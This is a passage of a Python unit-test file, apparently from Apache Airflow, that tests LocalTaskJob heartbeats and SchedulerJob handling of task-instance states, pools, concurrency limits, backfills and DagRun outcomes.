datetime.timedelta(hours=3), end_date=DEFAULT_DATE,)) class LocalTaskJobTest(unittest.TestCase): def setUp(self): pass @patch('os.getpid') def test_localtaskjob_heartbeat(self, mock_pid): session = settings.Session() dag = DAG( 'test_localtaskjob_heartbeat', start_date=DEFAULT_DATE, default_args={'owner': 'owner1'}) with dag: op1 = DummyOperator(task_id='op1') dag.clear() dr = dag.create_dagrun(run_id="test", state=State.SUCCESS, execution_date=DEFAULT_DATE, start_date=DEFAULT_DATE, session=session) ti = dr.get_task_instance(task_id=op1.task_id, session=session) ti.state = State.RUNNING ti.hostname = "blablabla" session.commit() job1 = LocalTaskJob(task_instance=ti, ignore_ti_state=True, executor=SequentialExecutor()) self.assertRaises(AirflowException, job1.heartbeat_callback) mock_pid.return_value = 1 ti.state = State.RUNNING ti.hostname = get_hostname() ti.pid = 1 session.merge(ti) session.commit() ret = job1.heartbeat_callback() self.assertEqual(ret, None) mock_pid.return_value = 2 self.assertRaises(AirflowException, job1.heartbeat_callback) @unittest.skipIf('mysql' in configuration.conf.get('core', 'sql_alchemy_conn'), "flaky when run on mysql") @unittest.skipIf('postgresql' in configuration.conf.get('core', 'sql_alchemy_conn'), 'flaky when run on postgresql') def test_mark_success_no_kill(self): """ Test that ensures that mark_success in the UI doesn't cause the task to fail, and that the task exits """ dagbag = models.DagBag( dag_folder=TEST_DAG_FOLDER, include_examples=False, ) dag = dagbag.dags.get('test_mark_success') task = dag.get_task('task1') session = settings.Session() dag.clear() dag.create_dagrun(run_id="test", state=State.RUNNING, execution_date=DEFAULT_DATE, start_date=DEFAULT_DATE, session=session) ti = TI(task=task, execution_date=DEFAULT_DATE) ti.refresh_from_db() job1 = LocalTaskJob(task_instance=ti, ignore_ti_state=True) process = multiprocessing.Process(target=job1.run) process.start() ti.refresh_from_db() for i in range(0, 50): if ti.state == State.RUNNING: break time.sleep(0.1) ti.refresh_from_db() self.assertEqual(State.RUNNING, ti.state) ti.state = State.SUCCESS session.merge(ti) session.commit() process.join(timeout=10) self.assertFalse(process.is_alive()) ti.refresh_from_db() self.assertEqual(State.SUCCESS, ti.state) def test_localtaskjob_double_trigger(self): dagbag = models.DagBag( dag_folder=TEST_DAG_FOLDER, include_examples=False, ) dag = dagbag.dags.get('test_localtaskjob_double_trigger') task = dag.get_task('test_localtaskjob_double_trigger_task') session = settings.Session() dag.clear() dr = dag.create_dagrun(run_id="test", state=State.SUCCESS, execution_date=DEFAULT_DATE, start_date=DEFAULT_DATE, session=session) ti = dr.get_task_instance(task_id=task.task_id, session=session) ti.state = State.RUNNING ti.hostname = get_hostname() ti.pid = 1 session.commit() ti_run = TI(task=task, execution_date=DEFAULT_DATE) job1 = LocalTaskJob(task_instance=ti_run, ignore_ti_state=True, executor=SequentialExecutor()) with patch.object(BaseTaskRunner, 'start', return_value=None) as mock_method: job1.run() mock_method.assert_not_called() ti = dr.get_task_instance(task_id=task.task_id, session=session) self.assertEqual(ti.pid, 1) self.assertEqual(ti.state, State.RUNNING) session.close() class SchedulerJobTest(unittest.TestCase): def setUp(self): self.dagbag = DagBag() session = settings.Session() session.query(models.DagRun).delete() session.query(models.ImportError).delete() session.commit() @staticmethod def run_single_scheduler_loop_with_no_dags(dags_folder): """ Utility function that runs a single scheduler loop without actually changing/scheduling any dags. This is useful to simulate the other side effects of running a scheduler loop, e.g. to see what parse errors there are in the dags_folder. :param dags_folder: the directory to traverse :type directory: str """ scheduler = SchedulerJob( dag_id='this_dag_doesnt_exist', # We don't want to actually run anything num_runs=1, subdir=os.path.join(dags_folder)) scheduler.heartrate = 0 scheduler.run() def _make_simple_dag_bag(self, dags): return SimpleDagBag([SimpleDag(dag) for dag in dags]) def test_process_executor_events(self): dag_id = "test_process_executor_events" dag_id2 = "test_process_executor_events_2" task_id_1 = 'dummy_task' dag = DAG(dag_id=dag_id, start_date=DEFAULT_DATE) dag2 = DAG(dag_id=dag_id2, start_date=DEFAULT_DATE) task1 = DummyOperator(dag=dag, task_id=task_id_1) task2 = DummyOperator(dag=dag2, task_id=task_id_1) dagbag1 = self._make_simple_dag_bag([dag]) dagbag2 = self._make_simple_dag_bag([dag2]) scheduler = SchedulerJob() session = settings.Session() ti1 = TI(task1, DEFAULT_DATE) ti1.state = State.QUEUED session.merge(ti1) session.commit() executor = TestExecutor() executor.event_buffer[ti1.key] = State.FAILED scheduler.executor = executor # dag bag does not contain dag_id scheduler._process_executor_events(simple_dag_bag=dagbag2) ti1.refresh_from_db() self.assertEqual(ti1.state, State.QUEUED) # dag bag does contain dag_id scheduler._process_executor_events(simple_dag_bag=dagbag1) ti1.refresh_from_db() self.assertEqual(ti1.state, State.FAILED) ti1.state = State.SUCCESS session.merge(ti1) session.commit() executor.event_buffer[ti1.key] = State.SUCCESS scheduler._process_executor_events(simple_dag_bag=dagbag1) ti1.refresh_from_db() self.assertEqual(ti1.state, State.SUCCESS) def test_execute_task_instances_is_paused_wont_execute(self): dag_id = 'SchedulerJobTest.test_execute_task_instances_is_paused_wont_execute' task_id_1 = 'dummy_task' dag = DAG(dag_id=dag_id, start_date=DEFAULT_DATE) task1 = DummyOperator(dag=dag, task_id=task_id_1) dagbag = self._make_simple_dag_bag([dag]) scheduler = SchedulerJob() session = settings.Session() dr1 = scheduler.create_dag_run(dag) ti1 = TI(task1, DEFAULT_DATE) ti1.state = State.SCHEDULED dr1.state = State.RUNNING dagmodel = models.DagModel() dagmodel.dag_id = dag_id dagmodel.is_paused = True session.merge(ti1) session.merge(dr1) session.add(dagmodel) session.commit() scheduler._execute_task_instances(dagbag, [State.SCHEDULED]) ti1.refresh_from_db() self.assertEquals(State.SCHEDULED, ti1.state) def test_execute_task_instances_no_dagrun_task_will_execute(self): """ Tests that tasks without dagrun still get executed. """ dag_id = 'SchedulerJobTest.test_execute_task_instances_no_dagrun_task_will_execute' task_id_1 = 'dummy_task' dag = DAG(dag_id=dag_id, start_date=DEFAULT_DATE) task1 = DummyOperator(dag=dag, task_id=task_id_1) dagbag = self._make_simple_dag_bag([dag]) scheduler = SchedulerJob() session = settings.Session() scheduler.create_dag_run(dag) ti1 = TI(task1, DEFAULT_DATE) ti1.state = State.SCHEDULED ti1.execution_date = ti1.execution_date + datetime.timedelta(days=1) session.merge(ti1) session.commit() scheduler._execute_task_instances(dagbag, [State.SCHEDULED]) ti1.refresh_from_db() self.assertEquals(State.QUEUED, ti1.state) def test_execute_task_instances_backfill_tasks_wont_execute(self): """ Tests that backfill tasks won't get executed. """ dag_id = 'SchedulerJobTest.test_execute_task_instances_backfill_tasks_wont_execute' task_id_1 = 'dummy_task' dag = DAG(dag_id=dag_id, start_date=DEFAULT_DATE) task1 = DummyOperator(dag=dag, task_id=task_id_1) dagbag = self._make_simple_dag_bag([dag]) scheduler = SchedulerJob() session = settings.Session() dr1 = scheduler.create_dag_run(dag) dr1.run_id = BackfillJob.ID_PREFIX + '_blah' ti1 = TI(task1, dr1.execution_date) ti1.refresh_from_db() ti1.state = State.SCHEDULED session.merge(ti1) session.merge(dr1) session.commit() self.assertTrue(dr1.is_backfill) scheduler._execute_task_instances(dagbag, [State.SCHEDULED]) ti1.refresh_from_db() self.assertEquals(State.SCHEDULED, ti1.state) def test_find_executable_task_instances_backfill_nodagrun(self): dag_id = 'SchedulerJobTest.test_find_executable_task_instances_backfill_nodagrun' task_id_1 = 'dummy' dag = DAG(dag_id=dag_id, start_date=DEFAULT_DATE, concurrency=16) task1 = DummyOperator(dag=dag, task_id=task_id_1) dagbag = self._make_simple_dag_bag([dag]) scheduler = SchedulerJob() session = settings.Session() dr1 = scheduler.create_dag_run(dag) dr2 = scheduler.create_dag_run(dag) dr2.run_id = BackfillJob.ID_PREFIX + 'asdf' ti_no_dagrun = TI(task1, DEFAULT_DATE - datetime.timedelta(days=1)) ti_backfill = TI(task1, dr2.execution_date) ti_with_dagrun = TI(task1, dr1.execution_date) # ti_with_paused ti_no_dagrun.state = State.SCHEDULED ti_backfill.state = State.SCHEDULED ti_with_dagrun.state = State.SCHEDULED session.merge(dr2) session.merge(ti_no_dagrun) session.merge(ti_backfill) session.merge(ti_with_dagrun) session.commit() res = scheduler._find_executable_task_instances( dagbag, states=[State.SCHEDULED], session=session) self.assertEqual(2, len(res)) res_keys = map(lambda x: x.key, res) self.assertIn(ti_no_dagrun.key, res_keys) self.assertIn(ti_with_dagrun.key, res_keys) def test_find_executable_task_instances_pool(self): dag_id = 'SchedulerJobTest.test_find_executable_task_instances_pool' task_id_1 = 'dummy' task_id_2 = 'dummydummy' dag = DAG(dag_id=dag_id, start_date=DEFAULT_DATE, concurrency=16) task1 = DummyOperator(dag=dag, task_id=task_id_1, pool='a') task2 = DummyOperator(dag=dag, task_id=task_id_2, pool='b') dagbag = self._make_simple_dag_bag([dag]) scheduler = SchedulerJob() session = settings.Session() dr1 = scheduler.create_dag_run(dag) dr2 = scheduler.create_dag_run(dag) tis = ([ TI(task1, dr1.execution_date), TI(task2, dr1.execution_date), TI(task1, dr2.execution_date), TI(task2, dr2.execution_date) ]) for ti in tis: ti.state = State.SCHEDULED session.merge(ti) pool = models.Pool(pool='a', slots=1, description='haha') pool2 = models.Pool(pool='b', slots=100, description='haha') session.add(pool) session.add(pool2) session.commit() res = scheduler._find_executable_task_instances( dagbag, states=[State.SCHEDULED], session=session) session.commit() self.assertEqual(3, len(res)) res_keys = [] for ti in res: res_keys.append(ti.key) self.assertIn(tis[0].key, res_keys) self.assertIn(tis[1].key, res_keys) self.assertIn(tis[3].key, res_keys) def test_nonexistent_pool(self): dag_id = 'SchedulerJobTest.test_nonexistent_pool' task_id = 'dummy_wrong_pool' dag = DAG(dag_id=dag_id, start_date=DEFAULT_DATE, concurrency=16) task = DummyOperator(dag=dag, task_id=task_id, pool="this_pool_doesnt_exist") dagbag = self._make_simple_dag_bag([dag]) scheduler = SchedulerJob() session = settings.Session() dr = scheduler.create_dag_run(dag) ti = TI(task, dr.execution_date) ti.state = State.SCHEDULED session.merge(ti) session.commit() res = scheduler._find_executable_task_instances( dagbag, states=[State.SCHEDULED], session=session) session.commit() self.assertEqual(0, len(res)) def test_find_executable_task_instances_none(self): dag_id = 'SchedulerJobTest.test_find_executable_task_instances_none' task_id_1 = 'dummy' dag = DAG(dag_id=dag_id, start_date=DEFAULT_DATE, concurrency=16) DummyOperator(dag=dag, task_id=task_id_1) dagbag = self._make_simple_dag_bag([dag]) scheduler = SchedulerJob() session = settings.Session() scheduler.create_dag_run(dag) session.commit() self.assertEqual(0, len(scheduler._find_executable_task_instances( dagbag, states=[State.SCHEDULED], session=session))) def test_find_executable_task_instances_concurrency(self): dag_id = 'SchedulerJobTest.test_find_executable_task_instances_concurrency' task_id_1 = 'dummy' dag = DAG(dag_id=dag_id, start_date=DEFAULT_DATE, concurrency=2) task1 = DummyOperator(dag=dag, task_id=task_id_1) dagbag = self._make_simple_dag_bag([dag]) scheduler = SchedulerJob() session = settings.Session() dr1 = scheduler.create_dag_run(dag) dr2 = scheduler.create_dag_run(dag) dr3 = scheduler.create_dag_run(dag) ti1 = TI(task1, dr1.execution_date) ti2 = TI(task1, dr2.execution_date) ti3 = TI(task1, dr3.execution_date) ti1.state = State.RUNNING ti2.state = State.SCHEDULED ti3.state = State.SCHEDULED session.merge(ti1) session.merge(ti2) session.merge(ti3) session.commit() res = scheduler._find_executable_task_instances( dagbag, states=[State.SCHEDULED], session=session) self.assertEqual(1, len(res)) res_keys = map(lambda x: x.key, res) self.assertIn(ti2.key, res_keys) ti2.state = State.RUNNING session.merge(ti2) session.commit() res = scheduler._find_executable_task_instances( dagbag, states=[State.SCHEDULED], session=session) self.assertEqual(0, len(res)) def test_find_executable_task_instances_task_concurrency(self): dag_id = 'SchedulerJobTest.test_find_executable_task_instances_task_concurrency' task_id_1 = 'dummy' task_id_2 = 'dummy2' dag = DAG(dag_id=dag_id, start_date=DEFAULT_DATE, concurrency=16) task1 = DummyOperator(dag=dag, task_id=task_id_1, task_concurrency=2) task2 = DummyOperator(dag=dag, task_id=task_id_2) dagbag = self._make_simple_dag_bag([dag]) scheduler = SchedulerJob() session = settings.Session() dr1 = scheduler.create_dag_run(dag) dr2 = scheduler.create_dag_run(dag) dr3 = scheduler.create_dag_run(dag) ti1_1 = TI(task1, dr1.execution_date) ti2 = TI(task2, dr1.execution_date) ti1_1.state = State.SCHEDULED ti2.state = State.SCHEDULED session.merge(ti1_1) session.merge(ti2) session.commit() res = scheduler._find_executable_task_instances( dagbag, states=[State.SCHEDULED], session=session) self.assertEqual(2, len(res)) ti1_1.state = State.RUNNING ti2.state = State.RUNNING ti1_2 = TI(task1, dr2.execution_date) ti1_2.state = State.SCHEDULED session.merge(ti1_1) session.merge(ti2) session.merge(ti1_2) session.commit() res = scheduler._find_executable_task_instances( dagbag, states=[State.SCHEDULED], session=session) self.assertEqual(1, len(res)) ti1_2.state = State.RUNNING ti1_3 = TI(task1, dr3.execution_date) ti1_3.state = State.SCHEDULED session.merge(ti1_2) session.merge(ti1_3) session.commit() res = scheduler._find_executable_task_instances( dagbag, states=[State.SCHEDULED], session=session) self.assertEqual(0, len(res)) ti1_1.state = State.SCHEDULED ti1_2.state = State.SCHEDULED ti1_3.state = State.SCHEDULED session.merge(ti1_1) session.merge(ti1_2) session.merge(ti1_3) session.commit() res = scheduler._find_executable_task_instances( dagbag, states=[State.SCHEDULED], session=session) self.assertEqual(2, len(res)) ti1_1.state = State.RUNNING ti1_2.state = State.SCHEDULED ti1_3.state = State.SCHEDULED session.merge(ti1_1) session.merge(ti1_2) session.merge(ti1_3) session.commit() res = scheduler._find_executable_task_instances( dagbag, states=[State.SCHEDULED], session=session) self.assertEqual(1, len(res)) def test_change_state_for_executable_task_instances_no_tis(self): scheduler = SchedulerJob() session = settings.Session() res = scheduler._change_state_for_executable_task_instances( [], [State.NONE], session) self.assertEqual(0, len(res)) def test_change_state_for_executable_task_instances_no_tis_with_state(self): dag_id = 'SchedulerJobTest.test_change_state_for__no_tis_with_state' task_id_1 = 'dummy' dag = DAG(dag_id=dag_id, start_date=DEFAULT_DATE, concurrency=2) task1 = DummyOperator(dag=dag, task_id=task_id_1) self._make_simple_dag_bag([dag]) scheduler = SchedulerJob() session = settings.Session() dr1 = scheduler.create_dag_run(dag) dr2 = scheduler.create_dag_run(dag) dr3 = scheduler.create_dag_run(dag) ti1 = TI(task1, dr1.execution_date) ti2 = TI(task1, dr2.execution_date) ti3 = TI(task1, dr3.execution_date) ti1.state = State.SCHEDULED ti2.state = State.SCHEDULED ti3.state = State.SCHEDULED session.merge(ti1) session.merge(ti2) session.merge(ti3) session.commit() res = scheduler._change_state_for_executable_task_instances( [ti1, ti2, ti3], [State.RUNNING], session) self.assertEqual(0, len(res)) def test_change_state_for_executable_task_instances_none_state(self): dag_id = 'SchedulerJobTest.test_change_state_for__none_state' task_id_1 = 'dummy' dag = DAG(dag_id=dag_id, start_date=DEFAULT_DATE, concurrency=2) task1 = DummyOperator(dag=dag, task_id=task_id_1) self._make_simple_dag_bag([dag]) scheduler = SchedulerJob() session = settings.Session() dr1 = scheduler.create_dag_run(dag) dr2 = scheduler.create_dag_run(dag) dr3 = scheduler.create_dag_run(dag) ti1 = TI(task1, dr1.execution_date) ti2 = TI(task1, dr2.execution_date) ti3 = TI(task1, dr3.execution_date) ti1.state = State.SCHEDULED ti2.state = State.QUEUED ti3.state = State.NONE session.merge(ti1) session.merge(ti2) session.merge(ti3) session.commit() res = scheduler._change_state_for_executable_task_instances( [ti1, ti2, ti3], [State.NONE, State.SCHEDULED], session) self.assertEqual(2, len(res)) ti1.refresh_from_db() ti3.refresh_from_db() self.assertEqual(State.QUEUED, ti1.state) self.assertEqual(State.QUEUED, ti3.state) def test_enqueue_task_instances_with_queued_state(self): dag_id = 'SchedulerJobTest.test_enqueue_task_instances_with_queued_state' task_id_1 = 'dummy' dag = DAG(dag_id=dag_id, start_date=DEFAULT_DATE) task1 = DummyOperator(dag=dag, task_id=task_id_1) dagbag = self._make_simple_dag_bag([dag]) scheduler = SchedulerJob() session = settings.Session() dr1 = scheduler.create_dag_run(dag) ti1 = TI(task1, dr1.execution_date) session.merge(ti1) session.commit() with patch.object(BaseExecutor, 'queue_command') as mock_queue_command: scheduler._enqueue_task_instances_with_queued_state(dagbag, [ti1]) mock_queue_command.assert_called() def test_execute_task_instances_nothing(self): dag_id = 'SchedulerJobTest.test_execute_task_instances_nothing' task_id_1 = 'dummy' dag = DAG(dag_id=dag_id, start_date=DEFAULT_DATE, concurrency=2) task1 = DummyOperator(dag=dag, task_id=task_id_1) dagbag = SimpleDagBag([]) scheduler = SchedulerJob() session = settings.Session() dr1 = scheduler.create_dag_run(dag) ti1 = TI(task1, dr1.execution_date) ti1.state = State.SCHEDULED session.merge(ti1) session.commit() self.assertEqual(0, scheduler._execute_task_instances(dagbag, states=[State.SCHEDULED])) def test_execute_task_instances(self): dag_id = 'SchedulerJobTest.test_execute_task_instances' task_id_1 = 'dummy_task' task_id_2 = 'dummy_task_nonexistent_queue' # important that len(tasks) is less than concurrency # because before scheduler._execute_task_instances would only # check the num tasks once so if concurrency was 3, # we could execute arbitrarily many tasks in the second run dag = DAG(dag_id=dag_id, start_date=DEFAULT_DATE, concurrency=3) task1 = DummyOperator(dag=dag, task_id=task_id_1) task2 = DummyOperator(dag=dag, task_id=task_id_2) dagbag = self._make_simple_dag_bag([dag]) scheduler = SchedulerJob() session = settings.Session() # create first dag run with 1 running and 1 queued dr1 = scheduler.create_dag_run(dag) ti1 = TI(task1, dr1.execution_date) ti2 = TI(task2, dr1.execution_date) ti1.refresh_from_db() ti2.refresh_from_db() ti1.state = State.RUNNING ti2.state = State.RUNNING session.merge(ti1) session.merge(ti2) session.commit() self.assertEqual(State.RUNNING, dr1.state) self.assertEqual(2, DAG.get_num_task_instances(dag_id, dag.task_ids, states=[State.RUNNING], session=session)) # create second dag run dr2 = scheduler.create_dag_run(dag) ti3 = TI(task1, dr2.execution_date) ti4 = TI(task2, dr2.execution_date) ti3.refresh_from_db() ti4.refresh_from_db() # manually set to scheduled so we can pick them up ti3.state = State.SCHEDULED ti4.state = State.SCHEDULED session.merge(ti3) session.merge(ti4) session.commit() self.assertEqual(State.RUNNING, dr2.state) res = scheduler._execute_task_instances(dagbag, [State.SCHEDULED]) # check that concurrency is respected ti1.refresh_from_db() ti2.refresh_from_db() ti3.refresh_from_db() ti4.refresh_from_db() self.assertEqual(3, DAG.get_num_task_instances(dag_id, dag.task_ids, states=[State.RUNNING, State.QUEUED], session=session)) self.assertEqual(State.RUNNING, ti1.state) self.assertEqual(State.RUNNING, ti2.state) six.assertCountEqual(self, [State.QUEUED, State.SCHEDULED], [ti3.state, ti4.state]) self.assertEqual(1, res) def test_execute_task_instances_limit(self): dag_id = 'SchedulerJobTest.test_execute_task_instances_limit' task_id_1 = 'dummy_task' task_id_2 = 'dummy_task_2' # important that len(tasks) is less than concurrency # because before scheduler._execute_task_instances would only # check the num tasks once so if concurrency was 3, # we could execute arbitrarily many tasks in the second run dag = DAG(dag_id=dag_id, start_date=DEFAULT_DATE, concurrency=16) task1 = DummyOperator(dag=dag, task_id=task_id_1) task2 = DummyOperator(dag=dag, task_id=task_id_2) dagbag = self._make_simple_dag_bag([dag]) scheduler = SchedulerJob() scheduler.max_tis_per_query = 3 session = settings.Session() tis = [] for i in range(0, 4): dr = scheduler.create_dag_run(dag) ti1 = TI(task1, dr.execution_date) ti2 = TI(task2, dr.execution_date) tis.append(ti1) tis.append(ti2) ti1.refresh_from_db() ti2.refresh_from_db() ti1.state = State.SCHEDULED ti2.state = State.SCHEDULED session.merge(ti1) session.merge(ti2) session.commit() res = scheduler._execute_task_instances(dagbag, [State.SCHEDULED]) self.assertEqual(8, res) for ti in tis: ti.refresh_from_db() self.assertEqual(State.QUEUED, ti.state) @unittest.skipUnless("INTEGRATION" in os.environ, "The test is flaky with nondeterministic result") def test_change_state_for_tis_without_dagrun(self): dag1 = DAG( dag_id='test_change_state_for_tis_without_dagrun', start_date=DEFAULT_DATE) DummyOperator( task_id='dummy', dag=dag1, owner='airflow') DummyOperator( task_id='dummy_b', dag=dag1, owner='airflow') dag2 = DAG( dag_id='test_change_state_for_tis_without_dagrun_dont_change', start_date=DEFAULT_DATE) DummyOperator( task_id='dummy', dag=dag2, owner='airflow') dag3 = DAG( dag_id='test_change_state_for_tis_without_dagrun_no_dagrun', start_date=DEFAULT_DATE) DummyOperator( task_id='dummy', dag=dag3, owner='airflow') session = settings.Session() dr1 = dag1.create_dagrun(run_id=DagRun.ID_PREFIX, state=State.RUNNING, execution_date=DEFAULT_DATE, start_date=DEFAULT_DATE, session=session) dr2 = dag2.create_dagrun(run_id=DagRun.ID_PREFIX, state=State.RUNNING, execution_date=DEFAULT_DATE, start_date=DEFAULT_DATE, session=session) ti1a = dr1.get_task_instance(task_id='dummy', session=session) ti1a.state = State.SCHEDULED ti1b = dr1.get_task_instance(task_id='dummy_b', session=session) ti1b.state = State.SUCCESS session.commit() ti2 = dr2.get_task_instance(task_id='dummy', session=session) ti2.state = State.SCHEDULED session.commit() ti3 = TI(dag3.get_task('dummy'), DEFAULT_DATE) ti3.state = State.SCHEDULED session.merge(ti3) session.commit() dagbag = self._make_simple_dag_bag([dag1, dag2, dag3]) scheduler = SchedulerJob(num_runs=0, run_duration=0) scheduler._change_state_for_tis_without_dagrun( simple_dag_bag=dagbag, old_states=[State.SCHEDULED, State.QUEUED], new_state=State.NONE, session=session) ti1a = dr1.get_task_instance(task_id='dummy', session=session) ti1a.refresh_from_db(session=session) self.assertEqual(ti1a.state, State.SCHEDULED) ti1b = dr1.get_task_instance(task_id='dummy_b', session=session) ti1b.refresh_from_db(session=session) self.assertEqual(ti1b.state, State.SUCCESS) ti2 = dr2.get_task_instance(task_id='dummy', session=session) ti2.refresh_from_db(session=session) self.assertEqual(ti2.state, State.SCHEDULED) ti3.refresh_from_db(session=session) self.assertEquals(ti3.state, State.NONE) dr1.refresh_from_db(session=session) dr1.state = State.FAILED # why o why session.merge(dr1) session.commit() scheduler._change_state_for_tis_without_dagrun( simple_dag_bag=dagbag, old_states=[State.SCHEDULED, State.QUEUED], new_state=State.NONE, session=session) ti1a.refresh_from_db(session=session) self.assertEqual(ti1a.state, State.SCHEDULED) # don't touch ti1b ti1b.refresh_from_db(session=session) self.assertEqual(ti1b.state, State.SUCCESS) # don't touch ti2 ti2.refresh_from_db(session=session) self.assertEqual(ti2.state, State.SCHEDULED) def test_execute_helper_reset_orphaned_tasks(self): session = settings.Session() dag = DAG( 'test_execute_helper_reset_orphaned_tasks', start_date=DEFAULT_DATE, default_args={'owner': 'owner1'}) with dag: op1 = DummyOperator(task_id='op1') dag.clear() dr = dag.create_dagrun(run_id=DagRun.ID_PREFIX, state=State.RUNNING, execution_date=DEFAULT_DATE, start_date=DEFAULT_DATE, session=session) dr2 = dag.create_dagrun(run_id=BackfillJob.ID_PREFIX, state=State.RUNNING, execution_date=DEFAULT_DATE + datetime.timedelta(1), start_date=DEFAULT_DATE, session=session) ti = dr.get_task_instance(task_id=op1.task_id, session=session) ti.state = State.SCHEDULED ti2 = dr2.get_task_instance(task_id=op1.task_id, session=session) ti2.state = State.SCHEDULED session.commit() processor = mock.MagicMock() processor.get_last_finish_time.return_value = None scheduler = SchedulerJob(num_runs=0, run_duration=0) executor = TestExecutor() scheduler.executor = executor scheduler._execute_helper(processor_manager=processor) ti = dr.get_task_instance(task_id=op1.task_id, session=session) self.assertEqual(ti.state, State.NONE) ti2 = dr2.get_task_instance(task_id=op1.task_id, session=session) self.assertEqual(ti2.state, State.SCHEDULED) @provide_session def evaluate_dagrun( self, dag_id, expected_task_states, # dict of task_id: state dagrun_state, run_kwargs=None, advance_execution_date=False, session=None): """ Helper for testing DagRun states with simple two-task DAGS. This is hackish: a dag run is created but its tasks are run by a backfill. """ if run_kwargs is None: run_kwargs = {} scheduler = SchedulerJob() dag = self.dagbag.get_dag(dag_id) dag.clear() dr = scheduler.create_dag_run(dag) if advance_execution_date: # run a second time to schedule a dagrun after the start_date dr = scheduler.create_dag_run(dag) ex_date = dr.execution_date try: dag.run(start_date=ex_date, end_date=ex_date, **run_kwargs) except AirflowException: pass # test tasks for task_id, expected_state in expected_task_states.items(): task = dag.get_task(task_id) ti = TI(task, ex_date) ti.refresh_from_db() self.assertEqual(ti.state, expected_state) # load dagrun dr = DagRun.find(dag_id=dag_id, execution_date=ex_date) dr = dr[0] dr.dag = dag self.assertEqual(dr.state, dagrun_state) def test_dagrun_fail(self): """ DagRuns with one failed and one incomplete root task -> FAILED """ self.evaluate_dagrun( dag_id='test_dagrun_states_fail', expected_task_states={ 'test_dagrun_fail': State.FAILED, 'test_dagrun_succeed': State.UPSTREAM_FAILED, }, dagrun_state=State.FAILED) def test_dagrun_success(self): """ DagRuns with one failed and one successful root task -> SUCCESS """ self.evaluate_dagrun( dag_id='test_dagrun_states_success', expected_task_states={ 'test_dagrun_fail': State.FAILED, 'test_dagrun_succeed': State.SUCCESS, }, dagrun_state=State.SUCCESS) def test_dagrun_root_fail(self): """ DagRuns with one successful and one failed root task -> FAILED """ self.evaluate_dagrun( dag_id='test_dagrun_states_root_fail', expected_task_states={ 'test_dagrun_succeed': State.SUCCESS, 'test_dagrun_fail': State.FAILED, }, dagrun_state=State.FAILED) def test_dagrun_root_fail_unfinished(self): """ DagRuns with one unfinished and one failed root task -> RUNNING """ # Run both the failed and successful tasks scheduler = SchedulerJob() dag_id = 'test_dagrun_states_root_fail_unfinished' dag = self.dagbag.get_dag(dag_id) dag.clear() dr = scheduler.create_dag_run(dag) try: dag.run(start_date=dr.execution_date, end_date=dr.execution_date) except AirflowException: # Expect an exception since there is a failed task pass # Mark the successful task as never having run since we want to see if the # dagrun will be in a running state despite haveing an unfinished task. session = settings.Session() ti = dr.get_task_instance('test_dagrun_unfinished', session=session) ti.state = State.NONE session.commit() dr_state = dr.update_state() self.assertEqual(dr_state, State.RUNNING) def test_dagrun_deadlock_ignore_depends_on_past_advance_ex_date(self): """ DagRun is marked a success if ignore_first_depends_on_past=True Test that an otherwise-deadlocked dagrun is marked as a success if ignore_first_depends_on_past=True and the dagrun execution_date is after the start_date. """ self.evaluate_dagrun( dag_id='test_dagrun_states_deadlock', expected_task_states={ 'test_depends_on_past': State.SUCCESS, 'test_depends_on_past_2': State.SUCCESS, }, dagrun_state=State.SUCCESS, advance_execution_date=True, run_kwargs=dict(ignore_first_depends_on_past=True)) def test_dagrun_deadlock_ignore_depends_on_past(self): """ Test that ignore_first_depends_on_past doesn't affect results (this is the same test as test_dagrun_deadlock_ignore_depends_on_past_advance_ex_date except that start_date == execution_date so depends_on_past is irrelevant). """ self.evaluate_dagrun( dag_id='test_dagrun_states_deadlock', expected_task_states={ 'test_depends_on_past': State.SUCCESS, 'test_depends_on_past_2': State.SUCCESS, }, dagrun_state=State.SUCCESS, run_kwargs=dict(ignore_first_depends_on_past=True)) def test_scheduler_start_date(self): """ Test that the scheduler respects start_dates, even when DAGS have run """ dag_id = 'test_start_date_scheduling' dag = self.dagbag.get_dag(dag_id) dag.clear() self.assertTrue(dag.start_date > DEFAULT_DATE) scheduler = SchedulerJob(dag_id, num_runs=2) scheduler.run() # zero tasks ran session = settings.Session() self.assertEqual( len(session.query(TI).filter(TI.dag_id == dag_id).all()), 0) # previously, running this backfill would kick off the Scheduler # because it would take the most recent run and start from there # That behavior still exists, but now it will only do so if after the # start date backfill = BackfillJob( dag=dag, start_date=DEFAULT_DATE, end_date=DEFAULT_DATE) backfill.run() # one task ran session = settings.Session() self.assertEqual( len(session.query(TI).filter(TI.dag_id == dag_id).all()), 1) scheduler = SchedulerJob(dag_id, num_runs=2) scheduler.run() # still one task session = settings.Session() self.assertEqual( len(session.query(TI).filter(TI.dag_id == dag_id).all()), 1) def test_scheduler_multiprocessing(self): """ Test that the scheduler can successfully queue multiple dags in parallel """ dag_ids = ['test_start_date_scheduling', 'test_dagrun_states_success'] for dag_id in dag_ids: dag = self.dagbag.get_dag(dag_id) dag.clear() scheduler = SchedulerJob(dag_ids=dag_ids, num_runs=2) scheduler.run() # zero tasks ran dag_id = 'test_start_date_scheduling' session = settings.Session() self.assertEqual( len(session.query(TI).filter(TI.dag_id == dag_id).all()), 0) def test_scheduler_dagrun_once(self): """ Test if the scheduler does not create multiple dagruns if a dag is scheduled with @once and a start_date """ dag = DAG( 'test_scheduler_dagrun_once', start_date=timezone.datetime(2015, 1, 1), schedule_interval="@once") scheduler = SchedulerJob() dag.clear() dr = scheduler.create_dag_run(dag) self.assertIsNotNone(dr) dr = scheduler.create_dag_run(dag) self.assertIsNone(dr) def test_scheduler_process_task_instances(self): """ Test if _process_task_instances puts the right task instances into the queue. """ dag = DAG( dag_id='test_scheduler_process_execute_task', start_date=DEFAULT_DATE) dag_task1 = DummyOperator( task_id='dummy', dag=dag, owner='airflow') session = settings.Session() orm_dag = DagModel(dag_id=dag.dag_id) session.merge(orm_dag) session.commit() session.close() scheduler = SchedulerJob() dag.clear() dr = scheduler.create_dag_run(dag) self.assertIsNotNone(dr) queue = Mock() scheduler._process_task_instances(dag, queue=queue) queue.append.assert_called_with( (dag.dag_id, dag_task1.task_id, DEFAULT_DATE) ) def test_scheduler_do_not_schedule_removed_task(self): dag = DAG( dag_id='test_scheduler_do_not_schedule_removed_task', start_date=DEFAULT_DATE) dag_task1 = DummyOperator( task_id='dummy', dag=dag, owner='airflow') session = settings.Session() orm_dag = DagModel(dag_id=dag.dag_id) session.merge(orm_dag) session.commit() session.close() scheduler = SchedulerJob() dag.clear() dr = scheduler.create_dag_run(dag) self.assertIsNotNone(dr) dag = DAG( dag_id='test_scheduler_do_not_schedule_removed_task', start_date=DEFAULT_DATE) queue = Mock() scheduler._process_task_instances(dag, 